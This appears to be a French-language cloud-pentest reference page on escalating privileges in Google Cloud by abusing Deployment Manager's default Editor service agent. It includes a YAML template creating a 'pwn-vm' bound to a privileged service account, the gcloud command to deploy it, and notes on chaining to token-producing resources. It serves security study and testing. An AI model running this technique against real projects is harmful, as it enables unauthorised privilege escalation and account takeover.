Les déploiements Deployment Manager s'exécutent en tant qu'agent de service Google APIs (<project-number>@cloudservices.gserviceaccount.com), qui détient le rôle roles/editor sur le projet par défaut. Avec deploymentmanager.deployments.create, vous déployez une configuration qui crée une ressource vous accordant un accès, empruntant de fait Editor sans détenir actAs sur un compte de service normal.
Déployer une configuration qui escalade#
# escalate.yaml: have the Editor service agent grant you a role, or create a
# VM/function bound to a privileged account
resources:
- name: pwn-vm
type: compute.v1.instance
properties:
zone: <zone>
machineType: zones/<zone>/machineTypes/e2-small
serviceAccounts:
- email: <privileged-sa>@<project>.iam.gserviceaccount.com
scopes: [ "https://www.googleapis.com/auth/cloud-platform" ]
# ... disks / network ...
gcloud deployment-manager deployments create pwn --config=escalate.yaml
Notes d'exploitation#
- L'Editor par défaut de l'agent de service est le point clé : le déploiement crée des ressources que vous ne pourriez pas créer directement, en s'exécutant en tant qu'Editor.
- Editor ne peut pas définir de politique IAM, enchaînez donc vers une ressource qui produit un jeton (une VM ou une fonction liée à un compte privilégié) plutôt que d'attendre un octroi direct d'Owner.
- Deployment Manager est en cours de retrait au profit d'Infrastructure Manager ; la technique persiste partout où l'API est encore activée.
Outils#
- gcloud (
deployment-manager deployments create) : le déploiement. - GCP-IAM-Privilege-Escalation (Rhino) : documente le chemin Editor de l'agent de service.